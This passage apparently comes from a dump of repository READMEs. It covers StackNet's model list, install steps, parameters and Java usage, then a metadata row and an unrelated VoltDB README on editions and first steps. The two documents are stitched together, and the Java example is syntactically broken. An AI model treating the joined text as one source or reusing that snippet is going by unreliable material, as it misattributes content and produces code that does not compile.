- [LSVR](/parameters/PARAMETERS.MD#lsvr)
- [LSVC](/parameters/PARAMETERS.MD#lsvc)
- [LogisticRegression](/parameters/PARAMETERS.MD#logisticregression)
- [LinearRegression](/parameters/PARAMETERS.MD#linearregression)
- [LibFmRegressor](/parameters/PARAMETERS.MD#libfmregressor)
- [LibFmClassifier](/parameters/PARAMETERS.MD#libfmclassifier)
### Native - Not fully developed
- knnClassifier
- knnRegressor
- KernelmodelClassifier
- KernelmodelRegressor
### Wrappers
- [XgboostRegressor](/parameters/PARAMETERS.MD#xgboostregressor)
- [XgboostClassifier](/parameters/PARAMETERS.MD#xgboostclassifier)
- [LightgbmRegressor](/parameters/PARAMETERS.MD#lightgbmregressor)
- [LightgbmClassifier](/parameters/PARAMETERS.MD#lightgbmclassifier)
- [FRGFRegressor](/parameters/PARAMETERS.MD#frgfegressor)
- [FRGFClassifier](/parameters/PARAMETERS.MD#frgfClassifier)
- [OriginalLibFMClassifier](/parameters/PARAMETERS.MD#originallibfmclassifier)(**New**)
- [OriginalLibFMRegressor](/parameters/PARAMETERS.MD#originallibfmregressor)(**New**)
- [VowpaLWabbitClassifier](/parameters/PARAMETERS.MD#vowpalwabbitclassifier)(**New**)
- [VowpaLWabbitRegressor](/parameters/PARAMETERS.MD#vowpalwabbitregressor)(**New**)
- [libffmClassifier](/parameters/PARAMETERS.MD#libffmclassifier)(**New**)
### H2O
- [H2ODeepLearningClassifier](/parameters/PARAMETERS.MD#h2odeeplearningclassifier)
- [H2ODeepLearningRegressor](/parameters/PARAMETERS.MD#h2odeeplearningregressor)
- [H2ODrfClassifier](/parameters/PARAMETERS.MD#h2odrfclassifier)
- [H2ODrfRegressor](/parameters/PARAMETERS.MD#h2odrfregressor)
- [H2OGbmClassifier](/parameters/PARAMETERS.MD#h2ogbmclassifier)
- [H2OGbmRegressor](/parameters/PARAMETERS.MD#h2ogbmregressor)
- [H2OGlmClassifier](/parameters/PARAMETERS.MD#h2oglmclassifier)
- [H2OGlmRegressor](/parameters/PARAMETERS.MD#h2oglmregressor)
- [H2ONaiveBayesClassifier](/parameters/PARAMETERS.MD#h2onaivebayesclassifier)
### Python
#### Sklearn(**New**)
- [SklearnAdaBoostClassifier](/parameters/PARAMETERS.MD#sklearnadaboostclassifier)
- [SklearnAdaBoostRegressor](/parameters/PARAMETERS.MD#sklearnadaboostregressor)
- [SklearnDecisionTreeClassifier](/parameters/PARAMETERS.MD#sklearndecisiontreeclassifier)
- [SklearnDecisionTreeRegressor](/parameters/PARAMETERS.MD#sklearndecisiontreeregressor)
- [SklearnExtraTreesClassifier](/parameters/PARAMETERS.MD#sklearnextratreesclassifier)
- [SklearnExtraTreesRegressor](/parameters/PARAMETERS.MD#sklearnextratreesregressor)
- [SklearnknnClassifier](/parameters/PARAMETERS.MD#sklearnknnclassifier)
- [SklearnknnRegressor](/parameters/PARAMETERS.MD#sklearnknnregressor)
- [SklearnMLPClassifier](/parameters/PARAMETERS.MD#sklearnmlpclassifier)
- [SklearnMLPRegressor](/parameters/PARAMETERS.MD#sklearnmlpregressor)
- [SklearnRandomForestClassifier](/parameters/PARAMETERS.MD#sklearnrandomforestclassifier)
- [SklearnRandomForestRegressor](/parameters/PARAMETERS.MD#sklearnrandomforestregressor)
- [SklearnSGDClassifier](/parameters/PARAMETERS.MD#sklearnsgdclassifier)
- [SklearnSGDRegressor](/parameters/PARAMETERS.MD#sklearnsgdregressor)
- [SklearnsvmClassifier](/parameters/PARAMETERS.MD#sklearnsvmclassifier)
- [SklearnsvmRegressor](/parameters/PARAMETERS.MD#sklearnsvmregressor)
#### Keras
- [KerasnnClassifier](/parameters/PARAMETERS.MD#kerasnnclassifier)
- [KerasnnRegressor](/parameters/PARAMETERS.MD#kerasnnregressor)
#### Generic for user defined scripts (**New**)
- [PythonGenericClassifier](/parameters/PARAMETERS.MD#pythongenericclassifier)
- [PythonGenericRegressor](/parameters/PARAMETERS.MD#pythongenericregressor)
## Algorithm's Tuning parameters
For the common models, have a look at:
[parameters](/parameters/PARAMETERS.MD)
## Run StackNet
You can do so directly from the jar file, using Java higher than 1.6. You need to add Java as an environmental variable (e.g., add it to PATH).
The basic format is:
```
Java –jar stacknet.jar [train or predict] [task=regression or classification] [parameter = value]
```
## Installations
This sections explains how to install the different external tools StackNet uses in its ensemble.
### Install Xgboost
Awesome xgboost can be used as a subprocess now in StackNet. This would require privileges to save and change files where the .jar is executed.
It is already pre-compiled for windows(64), mac and linux.
**verify that the 'lib' folder os in the same directory where the StackNet.jar file is**. By default it should be there when you do `git clone`
for linux and mac you most probably need to change privileges for the executable :
```
cd lib/
cd linux/
cd xg/
chmod +x xgboost
```
You can test that it works with :
`./xgboost`
It should print :
`Usage: <config>`
In windows and mac the behaviour should be similar. After executing `xgboost` from inside the `lib/your_operation_system/xg/` you should see the:
`Usage: <config>`
If you don't see this, then you need to compile it manually and drop the executables inside `lib/your_operation_system/xg/` .
You may find the follwing sources usefull:
- [mac](https://www.ibm.com/developerworks/community/blogs/jfp/entry/Installing_XGBoost_on_Mac_OSX?lang=en)
- [windows1](https://stackoverflow.com/questions/33749735/how-to-install-xgboost-package-in-python-windows-platform) ,[windows2](https://www.ibm.com/developerworks/community/blogs/jfp/entry/Installing_XGBoost_For_Anaconda_on_Windows?lang=en)
- [linux](https://gist.github.com/DanielBeckstein/932087ee116cc2f72bfc6e3e078e899d)
Small Note: The user would need to delete the '.mod' files from inside the `model/` folder when no longer need them. StackNet does not do that automatically as it is not possible to determine when they are not needed anymore.
**IMPORTANT NOTE:** This implementation does not include all Xgboost's features and the user is advised to use it directly from source to exploit its full potential. Also the version included is 6.0 and it is not certain whether it will be updated in the future as it required manual work to find all libraries and files required that need to be included for it to run. The performance and memory consumption will also be worse than running it directly from source. Additionally the descritpion of the parameters may not match the one in the offcial website, hence it is advised to use [xgboost's online parameter thread in github](https://github.com/dmlc/xgboost/blob/master/doc/parameter.md) for more information about them.
### Install lightGBM
[lightGBM](https://github.com/Microsoft/LightGBM) can be used as a subprocess now in StackNet. This would require privileges to save and change files where the .jar is executed.
It is already pre-compiled for windows(64), mac and linux.
**Verify that the 'lib' folder is in the same directory where the StackNet.jar file is**. By default it should be there when you do `git clone`
for linux and mac you most probably need to change privileges for the executable :
```
cd lib/
cd linux/
cd lightgbm/
chmod +x lightgbm
```
You can test that it works with :
`./lightgbm`
It should print something in the form of:
```
[LightGBM] [Info] Finished loading parameters
[LightGBM] [Fatal] No training/prediction data, application quit
Met Exceptions:
No training/prediction data, application quit
```
In windows and mac the behaviour should be similar. After executing `lightgbm` from inside the `lib/your_operation_system/lightgbm/` you should see the:
`[LightGBM] [Info] Finished loading parameters...`
If you don't see this, then you need to compile it manually and drop the executables inside `lib/your_operation_system/lightgbm/` .
You may find the follwing sources usefull:
[Install LightGBM](https://github.com/Microsoft/LightGBM/wiki/Installation-Guide)
Small Note: The user would need to delete the '.mod' files from inside the `model/` folder when no longer need them. StackNet does not do that automatically as it is not possible to determine when they are not needed anymore.
**IMPORTANT NOTE:** This implementation does not include all LightGBM's features and the user is advised to use it directly from source to exploit its full potential. it is not certain whether it will be updated in the future as it required manual work to find all libraries and files required that need to be included for it to run. The performance and memory consumption will also be worse than running it directly from source. Additionally the descritpion of the parameters may not match the one in the offcial website, hence it is advised to use [LightGBM's online parameter thread in github](https://github.com/Microsoft/LightGBM/blob/master/docs/Parameters.md) for more information about them.
### Install H2O Algorithms
All the required jars are already packaged within the StackNet jar, however the user may find them inside the repo too.
No special installation is required , but experimentally system protection might be blocking it , therefore make certain that the StackNet.jar is in the exceptions (firewall).
Additionally the first time StackNet uses an H2o Algorithm within the ensemble it takes more time (in comparison to every other time) because it sets up a cluster .
### Install Fast_rgf
[fast_rgf](https://github.com/baidu/fast_rgf) can be used as a subprocess now in StackNet. This would require privileges to save and change files where the .jar is executed.
It is already pre-compiled for windows(64), mac and linux.
**Verify that the 'lib' folder is in the same directory where the StackNet.jar file is**. By default it should be there when you do `git clone`
for linux and mac you most probably need to change privileges for the executable :
```
cd lib/
cd linux/
cd frgf/
chmod +x forest_train
chmod +x forest_predict
```
You can test that it works with :
`./forest_train`
It should print something in the form of:
```
using up to x threads
```
In windows and mac the behaviour should be similar. After executing `forest_train` from inside the `lib/your_operation_system/frgf/` you should see the:
`using up to x threads...`
If you don't see this, then you need to compile it manually and drop the executables inside `lib/your_operation_system/frgf/` .
If you need to make the compilling manually for windows, you may find useful to download cmake fom :
[Install cmake](https://cmake.org/download/)
and use **mingw32-make.exe** as a compiler.
Small Note: The user would need to delete the '.mod' files from inside the `model/` folder when no longer need them. StackNet does not do that automatically as it is not possible to determine when they are not needed anymore.
**IMPORTANT NOTE:** This implementation does not include all fast_rgf's features and the user is advised to use it directly from source to exploit its full potential. it is not certain whether it will be updated in the future as it required manual work to find all libraries and files required that need to be included for it to run. The performance and memory consumption will also be worse than running it directly from source. Additionally the descritpion of the parameters may not match the one in the offcial website, hence it is advised to use [fast_rgf's online parameter thread in github](https://github.com/baidu/fast_rgf/tree/master/examples) for more information about them.
### Install Sklearn Algorithms
To install [Sklearn](http://scikit-learn.org/stable/) in StackNet you need **python higher-equal-to 2.7**. Python needs to be found in **PATH** as StackNet makes subprocesses in the command line. This would require privileges to save and change files where the .jar is executed.
**verify that the 'lib' folder is in the same directory where the StackNet.jar file is**
Once Python is installed and can be found on PATH, the user needs to isnstall **sklearn version 0.18.2** .
The following should do the trick in linux and mac.
```
pip install scipy
pip install sklearn
```
For an easier installation in windows, the user could download [Anaconda](https://www.continuum.io/downloads) and make certain to check the **Add Anaconda's python to PATH** when it shows up during the installation.
All sklearn python scripts executed by StackNet are put in `lib/python/`
### Install Python Generic Algorithms
This a new feature that allows the user to run his/her own models as long as all libraries required can be found in his/her system when calling python. Assuming python is installed as explained in sklearn version above, the user may have a look inside **lib/python/**.
The scripts **PythonGenericRegressor0.py** and **PythonGenericClassifier0.py** are sample scripts that show how to format these models. The '0' is the main hyper parameter (called index) of the model PythonGenericRegressor (or PythonGenericClassifier). The data gets loaded in sparse format, but after this the user could add whetver he/she wants.
One could make many scritps and name them PythonGenericRegressor1,PythonGenericRegressor2...PythonGenericRegressorN and call them as:
```
PythonGenericRegressor index:1 seed:1 verbose:False
PythonGenericRegressor index:2 seed:1 verbose:False
PythonGenericRegressor index:N seed:1 verbose:False
```
Once again **Verify that the 'lib' folder in the same directory where the StackNet.jar file is**.
### Install original libfm
[libFM](https://github.com/srendle/libfm) can be used as a subprocess now in StackNet. This would require privileges to save and change files where the .jar is executed.
It is already pre-compiled for windows(64), mac and linux. Note for windows libfm is compiled with [cygwin](https://www.cygwin.com/)
**Verify that the 'lib' folder is in the same directory where the StackNet.jar file is**. By default it should be there when you do `git clone`
for linux and mac you most probably need to change privileges for the executable :
```
cd lib/
cd linux/
cd libfm/
chmod +x libfm
```
You can test that it works with :
`./libfm`
It should print something in the form of:
```
libFM
Version: 1.4.2
...
...
```
In windows and mac the behaviour should be similar. After executing `libfm` from inside the `lib/your_operation_system/libfm/` you should see the same.
If you don't see this, **then you need to compile it manually** and drop the executables inside `lib/your_operation_system/libfm/`.
You may find the follwing sources usefull:
[libfm manual](http://www.libfm.org/libfm-1.42.manual.pdf)
**IMPORTANT NOTE:** This implementation may not include all libFM features plus it actually uses a version of it **that had a bug** on purpose. You can find more information about why this was chosen in the following [python wrapper for libFM](https://github.com/jfloff/pywFM). It basically had this bug that was allowing you to get the parameters of the trained models for all training methods. These parameters are now extracted once a model has been trained and the scoring uses only these parameters (e.g. not the libFM executable).
Also, multiclass problems are formed as binary 1-vs-all.
Bear in mind the [licence of libfm](https://github.com/srendle/libfm/blob/master/license.txt). If you find it useful, cite the following paper :
Rendle, S. (2012). Factorization machines with libfm. *ACM Transactions on Intelligent Systems and Technology (TIST)*, 3(3), 57.Chicago . [Link](http://www.csie.ntu.edu.tw/~b97053/paper/Factorization%20Machines%20with%20libFM.pdf)
### Install vowpal wabbit
[vowpal wabbit](https://github.com/JohnLangford/vowpal_wabbit) can be used as a subprocess now in StackNet. This would require privileges to save and change files where the .jar is executed.
It is already pre-compiled for windows(64) and linux.
**Mac** was more difficult than expected and generally there is a lack of expertise working with Mac. If someone could help here, please email me at kazanovassoftware@gmail.com.
For mac, you have to install vowpal wabbit from source and drop the executable in `lib/mac/vw/`. Consider [the following link](https://github.com/JohnLangford/vowpal_wabbit#mac-os-x-specific-info). `brew install vowpal-wabbit` will most probably do the trick.
If that does not work, you may execute the`lib/mac/vw/script.sh`. This is not advised though as it will override some files you may have already installed - use it as a last resort.
**Verify that the 'lib' folder is in the same directory where the StackNet.jar file is**. By default it should be there when you do `git clone`
for linux and mac you most probably need to change privileges for the executable :
```
cd lib/
cd linux/
cd vw/
chmod +x vw
```
You can test that it works with :
`./vw`
It should print something in the form of:
```
Num weight bits = 18
learning rate = 0.5
initial_t = 0
...
```
In windows and mac the behaviour should be similar. After executing `vw` from inside the `lib/your_operation_system/vw/` you should see the same.
If you don't see this, **then you need to compile it manually** and drop the executables inside `lib/your_operation_system/vw/`.
You may find the follwing sources usefull:
[Download suggestions](https://github.com/JohnLangford/vowpal_wabbit/wiki/Download)
**IMPORTANT NOTE:** This implementation may not include all Vowpal Wabbit features and the user is advised to use it directly from the source. Also the version may not be the final and it is not certain whether it will be updated in the future as it required manual work to find all libraries and files required that need to be included for it to run. The performance and memory consumption will also be worse than running directly. Additionally the descritpion of the parameters may not match the one in the website, hence it is advised to use [VW's online parameter thread in github](https://github.com/JohnLangford/vowpal_wabbit/wiki/Command-line-arguments) for more information about them.
### Install libffm
[libffm](https://github.com/guestwalk/libffm) can be used as a subprocess now in StackNet. This would require privileges to save and change files where the .jar is executed.
It is already pre-compiled for windows(64), mac and linux.
**Verify that the 'lib' folder is in the same directory where the StackNet.jar file is**. By default it should be there when you do `git clone`
for linux and mac you most probably need to change privileges for the executable :
```
cd lib/
cd linux/
cd libffm/
chmod +x ffm-train
chmod +x ffm-predict
```
You can test that it works with :
`./ffm-train`
It should print something in the form of:
```
usage: ffm-train [options] training_set_file [model_file]
options:
-l <lambda>: set regularization parameter (default 0.00002)
-k <factor>: set number of latent factors (default 4)
-t <iteration>: set number of iterations (default 15)
```
You should also test that it works with :
`./ffm-predict`
It should print:
```
usage: ffm-predict test_file model_file output_file
```
In windows and mac the behaviour should be similar. After executing `ffm-train` or `ffm-predict` from inside the `lib/your_operation_system/libffm/` you should see the same results.
If you don't see this, then you need to compile it manually and drop the executables inside `lib/your_operation_system/libffm/` .
You may find the follwing sources usefull:
[Install libffm](https://github.com/guestwalk/libffm) . Search for `Installation ...` and `OpenMP and SSE ...`
Small Note: The user would need to delete the '.mod' files from inside the `model/` folder when no longer need them. StackNet does not do that automatically as it is not possible to determine when they are not needed anymore.
**IMPORTANT NOTE:** This implementation may not include all libffm features and the user is advised to use it directly from the source. Also the version may not be the final and it is not certain whether it will be updated in the future as it required manual work to find all libraries and files required that need to be included for it to run. The performance and memory consumption will also be worse than running directly . Additionally the descritpion of the parameters may not match the one in the website, hence it is advised to use libffm online parameter thread in github for more information about them.
Also, multiclass problems are formed as binary 1-vs-all.
## Command Line Parameters
Command | Explanation
--- | ---
task | could be either **regression** or **classification**.</li>
sparse | True if the data to be imported are in sparse format (libsvm) or dense (false)
has_head | True if train_file and test_file have headers else false
model | Name of the output model file.
pred_file | Name of the output prediction file.
train_file | Name of the training file.
test_file | Name of the test file.
output_name | Prefix of the models to be printed per iteration. This is to allow the Meta features of each iteration to be printed. Defaults to nothing.
data_prefix | prefix to be used when the user supplies own pairs of [X_train,X_cv] datasets for each fold as well as an X file for the whole training data. This is particularly useful for when likelihood features are needed or generally features than must be computed within cv. Each train/valid pair is identified by prefix_train[fold_index_starting_from_zero].txt/prefix_cv[fold_index_starting_from_zero].txt and prefix_train.txt for the final set. For example if prefix=mystack and folds=2 then stacknet is expecting 2 pairs of train/cv files. e.g [[mystack_train0.txt,mystack_cv0.txt],[mystack_train1.txt,mystack_cv1.txt]]. It also expects a [mystack_train.txt] for the final train set. These files can be either dense or sparse ( when 'sparse=True') and need to have the target variable in the beginning. If you use **output_name** to extract the predictions, these will be stacked vertically in the same order as the cv files.
indices_name | A prefix. When given any value it prints a .csv file for each fold with the corresponding train(0) and valiation(1) indices stacked vertically .The format is “row_index,[0 if train else 1 for validation]”. First it prints the train indices and then the validation indices in exactly the same order as they appear when modelling inside StackNet.
input_index (**New**) | Name of file to load in order to form the train and cv indices during kfold cross validation. This overrides the internal process for generating kfolds and ignores the given folds. Each row needs to contain an integer in that file. Row size of the file needs to be the same as the `train_file`. It should not contain headers. one line=one integer - the indice of the validation fold the case belongs to.[There is an example](/example/manual_index/EXAMPLE.MD)
include_target (**New**) | True to enable printing the target column in the output file for train holdout predictions (when `output_name` is not empty).
test_target | True if the test file has a target variable in the beginning (left) else false (only predictors in the file).
params | Parameter file where each line is a model. empty lines correspond to the creation of new levels
verbose | True if we need StackNet to output its progress else false
threads | Number of models to run in parallel. This is independent of any extra threads allocated from the selected algorithms. e.g. it is possible to run 4 models in parallel where one is a randomforest that runs on 10 threads (it selected).
metric | Metric to output in cross validation for each model-neuron. can be logloss, accuracy or auc (for binary only) for classification and rmse ,rsquared or mae for regerssion .defaults to 'logloss' for classification and 'rmse' for regression.
stackdata | True for restacking else false
seed | Integer for randomised procedures
bins | A parameter that allows classifiers to be used in regression problems. It first bins (digitises) the target variable and then runs classifiers on the transformed variable. Defaults to 2</li>.
folds | Number of folds for re-usable kfold
### Parameters' File
In The parameter file, each line is a model. When there is an empty line then any new algorithm is used in the next level. This is a sample format.
Note this file accepts comments (`#`). Anything on the right of the `#` symbol is ignored.(**New**)
```
LogisticRegression C:1 Type:Liblinear maxim_Iteration:100 scale:true verbose:false
RandomForestClassifier bootsrap:false estimators:100 threads:5 logit.offset:0.00001 verbose:false cut_off_subsample:1.0 feature_subselection:1.0 gamma:0.00001 max_depth:8 max_features:0.25 max_tree_size:-1 min_leaf:2.0 min_split:5.0 Objective:ENTROPY row_subsample:0.95 seed:1
GradientBoostingForestClassifier estimators:100 threads: offset:0.00001 verbose:false trees:1 rounding:2 shrinkage:0.05 cut_off_subsample:1.0 feature_subselection:0.8 gamma:0.00001 max_depth:8 max_features:1.0 max_tree_size:-1 min_leaf:2.0 min_split:5.0 Objective:RMSE row_subsample:0.9 seed:1
Vanilla2hnnclassifier UseConstant:true usescale:true seed:1 Type:SGD maxim_Iteration:50 C:0.000001 learn_rate:0.009 smooth:0.02 h1:30 h2:20 connection_nonlinearity:Relu init_values:0.02
LSVC Type:Liblinear threads:1 C:1.0 maxim_Iteration:100 seed:1
LibFmClassifier lfeatures:3 init_values:0.035 smooth:0.05 learn_rate:0.1 threads:1 C:0.00001 maxim_Iteration:15 seed:1
NaiveBayesClassifier usescale:true threads:1 Shrinkage:0.1 seed:1 verbose:false
XgboostRegressor booster:gbtree objective:reg:linear num_round:100 eta:0.015 threads:1 gamma:2.0 max_depth:4 subsample:0.8 colsample_bytree:0.4 seed:1 verbose:false
XgboostRegressor booster:gblinear objective:reg:gamma num_round:500 eta:0.5 threads:1 lambda:1 alpha:1 seed:1 verbose:false
RandomForestClassifier estimators=1000 rounding:3 threads:4 max_depth:6 max_features:0.6 min_leaf:2.0 Objective:ENTROPY gamma:0.000001 row_subsample:1.0 verbose:false copy=false
```
**Tip**: To tune a single model, one may choose an algorithm for the first layer and a dummy one for the second layer. StackNet expects at least two algorithms, so with this format the user can visualize the performance of single algorithm inside the K-fold.
For example, if I wanted to tune a Random Forest Classifier, I would put it in the first line (layer) and also put any model (lets say Logistic Regression) in the second layer and could break the process immediately after the first layer kfold is done:
```
RandomForestClassifier bootsrap:false estimators:100 threads:5 logit.offset:0.00001 verbose:false cut_off_subsample:1.0 feature_subselection:1.0 gamma:0.00001 max_depth:8 max_features:0.25 max_tree_size:-1 min_leaf:2.0 min_split:5.0 Objective:ENTROPY row_subsample:0.95 seed:1
LogisticRegression verbose:false
```
## Data Format
For **dense** input data, the file needs to start with the target variable followed by a comma, separated variables like:
1,0,0,2,3,2.4
0,1,1,0,0,12
For **sparse** format , it is the same as libsvm (same example as above) :
1 2:2 3:3 4:2.4
0 0:1 1:1 4:12
**warning**: Some algorithms (mostly tree-based) may not be very fast with this format)
If test_target is false, then the test data may not have a target and start directly from the variables.
A **train** method needs at least a **train_file** and a **params_file**. It also needs at least two algorithms, and the and last layer must not contain a regressor unless the metric is auc and the problem is binary.
A **predict** method needs at least a **test_file** and a **model_file**.
## Commandline Train Statement
Java –jar stacknet.jar **_train_** **task=classification** **sparse**=false **has_head**=true **model**=model **pred_file**=pred.csv **train_file**=sample_train.csv **test_file**= sample_test.csv **test_target**=true **params**=params.txt **verbose**=true **threads**=7 **metric**=logloss **stackdata**=false **seed**=1 **folds**=5 **bins**=3
Note that you can have train and test at the same time. In that case after training, it scores the test data.
## Commandline predict Statement
Java -jar stacknet.jar **_predict_** **sparse**=false **has_head**=true **model**=model **pred_file**=pred.csv **test_file**=sample_test.csv **test_target**=true **verbose**=true **metric**=logloss
## Examples
- [Kaggle-Quora-sparse](/example/Quora_kaggle_sparse/README.MD)
- [Kaggle-TwoSigma](/example/twosigma_kaggle/EXAMPLE.MD)
- [Kaggle-TwoSigma Random Forest using the Library](/example/twosigma_kaggle_java_rf/EXAMPLE.MD)
- [Kaggle-Amazon Classification challenge and use of data_prefix](/example/example_amazon/EXAMPLE.MD)
- [Kaggle-Zillow regerssion example](/example/zillow_regression_sparse/README.MD)
- [Example_with_index](/example/manual_index/EXAMPLE.MD)
- [Example_H2OWorld](/example/H2OWorld_StackNet_Example/EXAMPLE.MD)
## Run StackNet from within Java code
If we wanted to build a 3-level stacknet on a binary target with desne data, we start with initializing a _StackNetClassifier_ Object:
```java
StackNetClassifier StackNet = new StackNetClassifier (); // Initialise a StackNet
```
Which is then followed by a 2-dimensional String array with the list of models in each layer along with their hyperparameters in the form of as in "_estimator [space delimited hyper parameters]_"
```java
String models_per_level[][]=new String[][];
{//First Level
{"LogisticRegression C:0.5 maxim_Iteration:100 verbose:true",
"RandomForestClassifier bootsrap:false estimators:100 threads:25 offset:0.00001 cut_off_subsample:1.0 feature_subselection:1.0 max_depth:15 max_features:0.3 max_tree_size:-1 min_leaf:2.0 min_split:5.0 Objective:ENTROPY row_subsample:0.95",
"LSVC C:3 maxim_Iteration:50",
"LibFmClassifier maxim_Iteration:16 C:0.000001 lfeatures:3 init_values:0.9 learn_rate:0.9 smooth:0.1",
"NaiveBayesClassifier Shrinkage:0.01",
"Vanilla2hnnclassifier maxim_Iteration:20 C:0.000001 tolerance:0.01 learn_rate:0.009 smooth:0.02 h1:30 h2:20 connection_nonlinearity:Relu init_values:0.02",
"GradientBoostingForestClassifier estimators:100 threads:25 verbose:false trees:1 rounding:2 shrinkage:0.1 feature_subselection:0.5 max_depth:8 max_features:1.0 min_leaf:2.0 min_split:5.0 row_subsample:0.9",
"LinearRegression C:0.00001",
"AdaboostRandomForestClassifier estimators:100 threads:3 verbose:true trees:1 rounding:2 weight_thresold:0.4 feature_subselection:0.5 max_depth:8 max_features:1.0 min_leaf:2.0 min_split:5.0 row_subsample:0.9",
"GradientBoostingForestRegressor estimators:100 threads:3 trees:1 rounding:2 shrinkage:0.1 feature_subselection:0.5 max_depth:9 max_features:1.0 min_leaf:2.0 min_split:5.0 row_subsample:0.9",
"RandomForestRegressor estimators:100 internal_threads:1 threads:25 offset:0.00001 verbose:true cut_off_subsample:1.0 feature_subselection:1.0 max_depth:14 max_features:0.25 max_tree_size:-1 min_leaf:2.0 min_split:5.0 Objective:RMSE row_subsample:1.0",
"LSVR C:3 maxim_Iteration:50 P:0.2" },
//Second Level
{"RandomForestClassifier estimators:1000 threads:25 offset:0.0000000001 verbose=false cut_off_subsample:0.1 feature_subselection:1.0 max_depth:7 max_features:0.4 max_tree_size:-1 min_leaf:1.0 min_split:2.0 Objective:ENTROPY row_subsample:1.0",
"GradientBoostingForestClassifier estimators:1000 threads:25 verbose:false trees:1 rounding:4 shrinkage:0.01 feature_subselection:0.5 max_depth:5 max_features:1.0 min_leaf:1.0 min_split:2.0 row_subsample:0.9",
"Vanilla2hnnclassifier maxim_Iteration:20 C:0.000001 tolerance:0.01 learn_rate:0.009 smooth:0.02 h1:30 h2:20 connection_nonlinearity:Relu init_values:0.02",
"LogisticRegression C:0.5 maxim_Iteration:100 verbose:false" },
//Third Level
{"RandomForestClassifier estimators:1000 threads:25 offset:0.0000000001 verbose=false cut_off_subsample:0.1 feature_subselection:1.0 max_depth:6 max_features:0.7 max_tree_size:-1 min_leaf:1.0 min_split:2.0 Objective:ENTROPY row_subsample:1.0" }
};
Alternatively, we could load directly from a file :
String modellings[][]=io.input.StackNet_Configuration("params.txt");
StackNet.parameters=models_per_level; // adding the models' specifications
```
The remaining parameters to be specified include the cross validation training schema, the Restacking mode option, setting a random state as well as some other miscellaneous options:
```java
StackNet.threads=4; // models to be run in parallel
StackNet.folds=5; // size of K-Fold
StackNet.stackdata=true; // use Restacking
StackNet.print=true; // this helps to avoid rerunning should the model fail
StackNet.output_name="restack";// prefix for each layer's output.
StackNet.verbose=true; // it outputs
StackNet.seed=1; // random state
StackNet.metric="logloss"
```
Ultimately given a data object X and a 1-dimensional vector y, the model can be trained using:
```java
StackNet.target=y; // the target variable
StackNet.fit(X); // fitting the model on the training data
```
Predictions are made with :
```java
double preds [][]=StackNet.predict_proba(X_test);
```
## Potential Next Steps
- ~~Add StackNetRegressor~~ Done.
- ~Add [H<sub>2</sub>O](http://h2o-release.s3.amazonaws.com/h2o/master/3908/index.html)~
- ~increase coverage in general with well-known and well-performing ml tools (original libfm, libffm, vowpal wabbit)~
- Add data pre-processing steps
- Make a python wrapper
## Reference
For now, you may use this:
Marios Michailidis (2017), StackNet, StackNet Meta Modelling Framework, url https://github.com/kaz-Anova/StackNet
## News
- StackNet model was presented at [infiniteconf 2017](https://skillsmatter.com/conferences/7983-infiniteconf-2017-the-conference-on-big-data-data-science-and-engineering#program ) [6th-7th July] and the video is available there if you sign up
- New [facebook page](https://www.facebook.com/StackNet/) to discuss StackNet and other open source data science topics.
- StackNet and Sracking was explained in [kaggle's blog](http://blog.kaggle.com/2017/06/15/stacking-made-easy-an-introduction-to-stacknet-by-competitions-grandmaster-marios-michailidis-kazanova/)
- The is an Ask Me Anything (AMA) [thread in kaggle](https://www.kaggle.com/general/34802) with useful material about stacking and StackNet.
- A workshop with StackNet will take place in [ODSC in London](https://www.odsc.com/london/speakers) October 12-14 .
## Special Thanks
To my co-supervisors:
- [Giles Pavey](https://www.linkedin.com/in/giles-pavey-924426/)
- [Prof. Philip Treleaven](http://www0.cs.ucl.ac.uk/staff/P.Treleaven/)
| 0 |
VoltDB/voltdb | Volt Active Data | 2011-09-23T18:46:12Z | null | What is Volt Active Data?
====================
Thank you for your interest in Volt Active Data!
Volt Active Data provides reliable data services for today's demanding applications. A distributed, horizontally-scalable, ACID-compliant database that provides streaming, storage, and real-time analytics for applications that benefit from strong consistency, high throughput and low, predictable latency.
Volt Active Data and Open Source
====================
2023: Volt Active Data’s Open Source version is now frozen
--------------------
At the end of 2022 we stopped updating this Github repo. While this code exists, and can be used, it is not an ‘official’ version of Volt. It does not receive updates. We will not provide any form of support for it, and if you end up buying Volt you will need to move to the official version.
Evaluating Volt using this version
--------------------
This version is provided for students, hobbyists, and researchers interested in testing an ultra-fast, scalable ACID database. But all new and production-ready features are available through the commercial product from https://www.voltactivedata.com.
If you are looking at using Volt in a real-world business context, then we would strongly recommend that you speak to us directly. We have lots of experience helping people evaluate data platforms, and can set you up with demonstration clusters on AWS running representative workloads. We know from experience that this drastically cuts down the time needed to get to a ‘Go/No Go’ decision. Bear in mind that a lot of our customers are doing complicated things like cross center data replication, kubernetes or very high transactions per second, and we can help you see these features in action without you having to build a deployment from scratch.
Different Versions
--------------------
Volt Active Data offers the fully open source, AGPL3-licensed Community Edition of Volt Active Data through GitHub here:
https://github.com/voltdb/voltdb/
Trials of the enterprise edition of Volt Active Data are available from the Volt Active Data website at the following URL:
https://www.voltactivedata.com
The Community Edition has full application compatibility and provides everything needed to run a real-time, in-memory SQL database with datacenter-local redundancy and snapshot-based disk persistence.
The commercial editions add operational features to support industrial-strength durability, manageability, and availability, including per-transaction disk-based persistence, multi-datacenter replication, elastic online expansion, live online upgrade, etc.
For more information, please visit the Volt Active Data website.
https://voltactivedata.com
VoltDB Branches and Tags
====================
The latest development branch is _master_. We develop features on branches and merge to _master_ when stable. While _master_ is usually stable, it should not be considered production-ready and may also have partially implemented features.
Code that corresponds to released versions of Volt Active Data are tagged "voltdb-X.X" or "voltdb-X.X.X". To build corresponding OSS VoltDB versions, use these tags.
Building Volt Active Data
====================
Information on building Volt Active Data from this source repository is maintained in a GitHub wiki page available here:
https://github.com/VoltDB/voltdb/wiki/Building-VoltDB
First Steps
====================
From the directory where you installed Volt Active Data, you can either use bin/{command} or add the bin folder to your path so you can use the Volt Active Data commands anywhere. For example:
PATH="$PATH:$(pwd)/bin/"
voltdb --version
Then, initialize a root directory and start a single-server database. By default the root directory is created in your current working directory. Or you can use the --dir option to specify a location:
voltdb init [--dir ~/mydb]
voltdb start [--dir ~/mydb] [--background]
To start a SQL console to enter SQL DDL, DML or DQL:
sqlcmd
To launch the web-based Volt Management Console (VMC), open a web browser and connect to localhost on port 8080 (unless there is a port conflict): http://localhost:8080.
To stop the running Volt Active Data cluster, use the shutdown command. For commercial customers, the database contents are saved automatically by default. For open-source users, add the --save argument to manually save the contents of your database:
voltadmin shutdown [--save]
Then you can simply use the start command to restart the database:
voltdb start [--dir ~/mydb] [--background]
